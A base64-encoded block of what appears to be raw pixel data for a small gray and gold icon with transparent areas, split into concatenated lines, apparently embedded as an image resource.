AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLC0tL + S+lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL2UtLSwMAAAAA4NBwAN3NbrfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7h3c1uBwAAAABLS0sGS0tL30tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0voS0tLCwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t2S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0teAAAAAAAAAADdzW433c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5pAAAAAAAAAABLS0tlS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0t0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDEtL + S+pLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL20tLSwQAAAAA3c1uAN3NbrTdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93NbuHdzW4HAAAAAEtLSwZLS0vfS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S+lLS0sLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0thAAAAAAAAAADdzW4z3c1u/t3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbmgAAAAAAAAAAEtL + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3UAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDEtL + S+tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL3UtLSwUAAAAAAAAAAN3NbrDdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u4N3NbgYAAAAAS0tLBktLS+BLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL6UtLSwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t4S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tjAAAAAAAAAADdzW4w3c1u/t3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uZwAA + AAAAAAAAS0tLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLdgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDUtL + S+tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL30tLSwYAAAAAAAAAAN3NbqzdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7g3c1uBgAAAABLS0sHS0tL4EtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0vqS0tLDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t5S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL9ktL + S6ZLS0szAAAAAAAAAADdzW4C3c1up93Nbu7dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u993N + brrdzW4hAAAAAAAAAABLS0s0S0tLpktLS/dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0t3AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDktL + S+xLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL00tLS29LS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uBt3N + bkHdzW6N3c1u2N3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7l3c1unN3NblHdzW4OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLFEtL + S3BLS0vUS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+tLS0sNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t7S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v0S0tLnktLSzpLS0sBAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4B3c1uJd3NbnDdzW683c1u+d3N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/d3NbsjdzW5+3c1uM93NbgIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwFLS0s6S0tLn0tLS/RLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDktL + S+1LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/5LS0vMS0tLaEtLSw4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4O3c1uVN3Nbp/dzW7o3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7v3c1uqt3N + bl/dzW4WAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLD0tLS2lLS0vNS0tL/ktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL60tLSw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t8S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+9LS0uWS0tLMktLSwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbgPdzW433c1ug93Nbs7dzW793c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/t3NbtbdzW6M3c1uQd3NbgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SwBLS0szS0tLl0tLS/BLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLegAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLD0tL + S+1LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/ktLS8VLS0tgS0tLCwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3s5vAN3N + bh3dzW5m3c1ust3NbvTdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW723c1uuN3Nbm3dzW4j3c1uAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLDEtLS2FLS0vFS0tL/ktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vsS0tLDgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t9S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL7EtLS45LS0srS0tLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uCt3NbkrdzW6W3c1u4N3N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbuTdzW6a3c1uT93N + bgwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwBLS0ssS0tLj0tLS+xLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0t7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLEEtL + S+5LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v9S0tLvUtLS1hLS0sHAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4B3c1uLd3NbnndzW7E3c1u+93Nbv/dzW7/3c1u/93N + bv/dzW783c1uxt3NbnvdzW4x3c1uAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCEtLS1lLS0u+S0tL/UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+1LS0sOAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t+S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vmS0tLh0tL + SyQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAADdzW4V3c1uXd3NbqjdzW6o3c1uXd3NbhYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0slS0tLiEtL + S+ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLEEtL + S+5LS0v/S0tL/0tLS/tLS0u1S0tLUUtLSwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBktLS1JLS0u2S0tL/EtLS/9LS0v/S0tL7UtL + Sw8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t/S0tL/0tLS+BLS0t/S0tLHgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sfS0tLgEtLS+FLS0v/S0tLfQAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLC0tL + S55LS0tJS0tLAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLA0tL + S0pLS0udS0tLCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 